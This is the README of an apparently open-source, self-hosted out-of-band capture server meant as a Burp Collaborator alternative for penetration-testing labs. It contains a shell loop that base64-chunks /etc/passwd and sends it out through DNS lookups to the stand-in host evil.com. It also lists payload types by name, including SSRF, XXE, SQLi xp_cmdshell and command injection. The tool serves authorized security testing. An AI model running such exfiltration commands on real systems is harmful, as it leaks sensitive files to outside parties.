evkir/phantom-grid

GitHub: evkir/phantom-grid

免费开源的 Burp Collaborator 替代方案,支持 HTTP/HTTPS/DNS 带外交互捕获与 DNS 数据外泄自动重组。

Stars: 0 | Forks: 0

Phantom Grid

⬡ Phantom Grid

免费、开源的 Burp Collaborator 替代品,适用于渗透测试靶场
带外(OOB)交互捕获 · HTTP/HTTPS · DNS · SQLite · 数据外泄重组

## 这是什么? **Phantom Grid** 是一个自托管的 OOB(带外)交互捕获工具 —— 是解决渗透测试靶场(PortSwigger Web Security Academy、HackTheBox、TryHackMe 等)的免费 Burp Collaborator 替代方案。 ### v2.0 功能 | 功能 | 描述 | |---------|-------------| | **HTTP + HTTPS 捕获** | 双栈支持,自动生成自签名 TLS 证书 | | **DNS 捕获** | 内置 DNS 服务器,监听 53 端口 | | **DNS 外泄重组** | 从多部分 DNS 外泄中自动重组数据块 | | **SQLite 持久化** | 所有数据在服务器重启后依然保留(WAL 模式提升性能) | | **40+ Payload 模板** | SSRF、XXE、SQLi OOB、CMDi、SSTI、DNS 外泄 —— 可直接复制使用 | | **战术仪表盘** | 带有实时监控的指挥中心 UI | | **Docker 就绪** | 一键部署 | | **REST API** | 完整的 token/interaction/exfil 管理 API | ## 快速开始 ### 选项 1: Python ``` git clone https://github.com/YOUR_USERNAME/phantom-grid.git cd phantom-grid pip install -r server/requirements.txt # 仅 HTTP python server/server.py # HTTP + HTTPS (自动生成自签名证书) python server/server.py --https # Full stack (DNS 端口 53 需要 sudo) sudo python server/server.py --https --dns ``` ### 选项 2: Docker ``` git clone https://github.com/YOUR_USERNAME/phantom-grid.git cd phantom-grid docker compose up -d ``` ### 选项 3: ngrok(适用于没有 VPS 的靶场) ``` python server/server.py --https & ngrok http 9090 # 在 payload 中使用 ngrok HTTPS URL ``` ## 架构 ``` ┌──────────────────────────────────────────────────────────────┐ │ PHANTOM GRID v2.0 │ │ │ │ ┌─────────────┐ ┌─────────────────────────────────┐ │ │ │ Dashboard │─API─▶│ Flask Server │ │ │ │ (React) │ │ │ │ │ └─────────────┘ │ :9090 HTTP capture + API │ │ │ │ :9443 HTTPS capture + API │ │ │ ┌─────────────┐ │ :53 DNS capture │ │ │ │ Target App │─────▶│ │ │ │ └─────────────┘ └──────────┬──────────────────────┘ │ │ │ │ │ ┌──────────▼──────────┐ │ │ │ SQLite Database │ │ │ │ phantom_grid.db │ │ │ │ │ │ │ │ tokens │ │ │ │ interactions │ │ │ │ dns_exfil_sessions │ │ │ │ dns_exfil_chunks │ │ │ └─────────────────────┘ │ │ │ └──────────────────────────────────────────────────────────────┘ ``` ## HTTPS 支持 现代应用通常会阻止混合内容请求(来自 `https://` 页面的 `http://` 请求)。Phantom Grid v2.0 在运行 HTTP 的同时支持运行 HTTPS。 ### 自动生成自签名证书 ``` python server/server.py --https # 自动生成 certs/server.pem + certs/server.key # 可通过 https://0.0.0.0:9443 访问 HTTPS ``` ### 自定义证书(Let's Encrypt 等) ``` python server/server.py --https \ --cert /etc/letsencrypt/live/yourdomain/fullchain.pem \ --key /etc/letsencrypt/live/yourdomain/privkey.pem ``` ### 使用 ngrok(即时公共 HTTPS) ``` python server/server.py & ngrok http 9090 # ngrok 自动提供受信任的 HTTPS URL ``` ## DNS 外泄重组 Phantom Grid 自动对分块的 DNS 外泄数据进行重组。这对于提取必须拆分到多个 DNS 查询(标签限制为 63 字节)中的大型 payload 至关重要。 ### 支持的格式 | 格式 | 示例 | 用例 | |--------|---------|----------| | **Simple** | `data.TOKEN.domain` | 单值外泄 | | **Indexed** | `0.chunk1.TOKEN.domain` | 自动会话,有序数据块 | | **Tagged** | `sess1.0.chunk1.TOKEN.domain` | 具有排序功能的命名会话 | | **End signal** | `end.sess1.TOKEN.domain` | 标记会话完成 | ### 示例:通过 DNS 外泄 `/etc/passwd` 在目标机上: ``` # 将文件分割为 50 字节的 base64 块并通过 DNS 发送 data=$(base64 /etc/passwd | tr -d '\n') token="a1b2c3d4e5f6" domain="evil.com" i=0 while [ -n "$data" ]; do chunk=$(echo "$data" | cut -c1-50) data=$(echo "$data" | cut -c51-) nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1 i=$((i+1)) done nslookup "end.exfil.$token.$domain" >/dev/null 2>&1 ``` 查看重组后的数据: ``` curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil ``` 响应: ``` [{ "session_tag": "exfil", "completed": 1, "chunk_count": 12, "reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..." }] ``` ## SQLite 持久化 所有数据使用 SQLite WAL 模式存储在 `phantom_grid.db` 中,以提供高并发的读写性能。 ``` phantom_grid.db ├── tokens — Token metadata ├── interactions — All HTTP/DNS captures ├── dns_exfil_sessions — Grouped exfil sessions └── dns_exfil_chunks — Individual exfil data chunks ``` 数据在服务器重启后依然存在。可通过复制 `phantom_grid.db` 进行备份。 ## API 参考 ### Token | Method | Endpoint | 描述 | |--------|----------|-------------| | `GET` | `/api/tokens` | 列出所有 token 及其统计信息 | | `POST` | `/api/tokens` | 创建 token `{"label": "...", "notes": "..."}` | | `PATCH` | `/api/tokens/` | 更新 token 标签/备注 | | `DELETE` | `/api/tokens/` | 删除 token 及所有关联数据 (CASCADE) | ### Interaction | Method | Endpoint | 描述 | |--------|----------|-------------| | `GET` | `/api/tokens//interactions?limit=&offset=` | 获取 token 的交互记录 | | `DELETE` | `/api/tokens//interactions` | 清空交互记录 | | `GET` | `/api/log?limit=` | 全局日志(所有 token) | | `GET` | `/api/poll?since=` | 轮询新交互 | ### DNS 外泄 | Method | Endpoint | 描述 | |--------|----------|-------------| | `GET` | `/api/tokens//exfil` | 获取 exfil 会话及重组后的数据 | ### System | Method | Endpoint | 描述 | |--------|----------|-------------| | `GET` | `/api/stats` | 全局统计(计数、数据库大小) | | `GET` | `/health` | 健康检查 | ### 捕获 Endpoints | 协议 | Endpoint | |----------|----------| | HTTP | `http://server:9090/c/` | | HTTPS | `https://server:9443/c/` | | DNS | `.yourdomain.com` | | DNS 外泄 | `..yourdomain.com` | ## CLI 选项 ``` python server.py [OPTIONS] --port N HTTP port (default: 9090) --https Enable HTTPS server --https-port N HTTPS port (default: 9443) --cert PATH Custom TLS certificate (PEM) --key PATH Custom TLS key file --dns Enable DNS capture server --dns-port N DNS port (default: 53) --dns-ip IP IP returned in DNS responses (default: 127.0.0.1) --db PATH SQLite database path (default: phantom_grid.db) ``` ## 替代方案比较 | 功能 | Burp Collaborator | Interactsh | Phantom Grid | |---------|-------------------|------------|--------------| | 价格 | Burp Pro ($$$) | 免费 | 免费 | | HTTP/HTTPS | ✅ | ✅ | ✅ | | DNS 捕获 | ✅ | ✅ | ✅ | | DNS 外泄重组 | ❌ | ❌ | ✅ | | SMTP 捕获 | ✅ | ✅ | ❌ (路线图) | | 自托管 | ❌ | ✅ | ✅ | | 自定义域名 | ❌ | ✅ | ✅ | | 持久化存储 | N/A | ❌ | ✅ (SQLite) | | 仪表盘 UI | Burp Suite | CLI | Web UI | | Payload 模板 | ❌ | ❌ | ✅ (40+) | ## Payload 分类 仪表盘包含 40+ 个可直接复制的 payload: - **HTTP Callback** — GET, cURL, wget, PowerShell, Python - **SSRF** — 直接, URL 编码, 双重编码, gopher, IMDS 重定向 - **XXE** — 外部实体, 参数实体, OOB DTD 外泄 - **SQL Injection OOB** — Oracle UTL_HTTP, MSSQL xp_dirtree/xp_cmdshell, MySQL LOAD_FILE, PostgreSQL COPY - **Command Injection** — 反引号, $(), 管道符, 分号, 换行符, DNS 外泄 - **DNS Lookup** — 子域名, nslookup, dig, 数据外泄 - **SSTI** — Jinja2, ERB, Freemarker, Twig - **Email/SMTP** — 头注入, IMAP 回调 ## 免责声明 **仅适用于经授权的渗透测试、安全研究和教育靶场环境。** 在测试您不拥有的系统之前,请务必获得适当的授权。作者不对滥用行为负责。 ## 贡献 欢迎提交 PR!路线图: - [ ] SMTP/email 回调捕获 - [ ] Let's Encrypt 自动证书 (ACME) - [ ] WebSocket 实时推送(替代轮询) - [ ] FTP 回调捕获 - [ ] Webhook 通知(Slack、Discord、Telegram) - [ ] 多用户认证 - [ ] 导出至 CSV/JSON - [ ] LDAP 回调捕获 ## 许可证 MIT — 查看 [LICENSE](LICENSE)
标签:Burp Collaborator, CISA项目, DNS捕获, DNS数据外泄重组, Docker, HackTheBox, HTTPS捕获, HTTP交互捕获, IP 地址批量处理, OOB, OPA, Out-of-Band, Payload生成, PortSwigger, Python, REST API, SQLi, SQLite, SSRF, SSTI, TryHackMe, Web安全, XXE, 命令注入, 安全仪表盘, 安全防御评估, 数据窃取, 无后门, 网络安全, 网络测绘, 自定义脚本, 自托管, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 靶场, 黑盒测试